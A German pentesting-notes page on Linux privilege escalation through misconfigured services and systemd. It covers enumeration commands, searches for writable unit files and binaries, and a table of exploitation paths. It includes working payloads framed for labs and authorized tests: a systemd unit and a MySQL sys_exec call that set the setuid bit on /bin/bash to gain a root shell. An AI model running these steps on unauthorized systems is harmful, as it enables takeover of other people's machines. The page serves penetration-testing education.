> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/services.md).

# Dienste und systemd

Fehlkonfigurationen von Diensten werden zu Privilegieneskalationspfaden, wenn ein Benutzer mit geringen Rechten eine Dienstdatei bearbeiten, eine Dienst-Binärdatei ersetzen, Dienstargumente kontrollieren oder in ein Verzeichnis schreiben kann, das von einem als Root laufenden Daemon verwendet wird.

## Methodik

* Identifiziere Dienste, die als Root laufen.
* Prüfe Unit-Dateien, `ExecStart` Binärdateien, Umgebungsdateien und Arbeitsverzeichnisse.
* Suche nach schreibbaren Dienstdateien oder schreibbaren Binärdateien, die von aktivierten Diensten verwendet werden.
* Bestätige, ob du den Dienst neu starten, ihn indirekt auslösen oder auf einen Neustart/Timer warten kannst.

## Schnellprüfungen

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Schreibbare Dienstdateien

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Schreibbare Dienst-Binärdateien

Diese Schleife überprüft aktivierte Dienste und hebt `ExecStart` Pfade hervor, die nicht wie Root-besessen aussehen. Behandle die Ausgabe als Triage und validiere sie dann manuell.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Ausnutzungsideen

| Bedingung                               | Ausnutzungspfad                                                                                                |
| --------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| Schreibbar `ExecStart` Binärdatei       | Ersetze die Binärdatei durch eine Nutzlast und starte dann den Dienst neu oder warte auf die Dienstausführung. |
| Schreibbare Unit-Datei                  | Ändern `ExecStart` um einen kontrollierten Befehl auszuführen.                                                 |
| Schreibbare Umgebungsdatei              | Injiziere Optionen oder Pfade, die vom Dienst verarbeitet werden.                                              |
| Schreibbares Arbeitsverzeichnis         | Missbrauche relative Pfade, Plugins, Protokolle, Sockets oder temporäre Dateien.                               |
| Dienst läuft als Root und parst Dateien | Prüfe Parser-Bugs, Befehlsinjektion, unsichere Includes und schreibbare Konfiguration.                         |

Beispiel-Unit-Nutzlast für ein Labor:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Nur neu laden und starten, wenn du die Berechtigung oder einen bestätigten autorisierten Testpfad hast:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL läuft als Root

Wenn MySQL oder MariaDB als Root läuft und gefährliche UDF-/Funktionsausführung verfügbar ist, kann dies zu einem direkten Root-Pfad werden.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Innerhalb von MySQL, je nach verfügbaren Plugins/Funktionen:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Dann:

```bash
/bin/bash -p
```

Dies ist stark von der Umgebung abhängig. Bestätige den Daemon-Benutzer, die Verfügbarkeit von Plugins und die genauen Datenbankberechtigungen, bevor du dich darauf verlässt.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
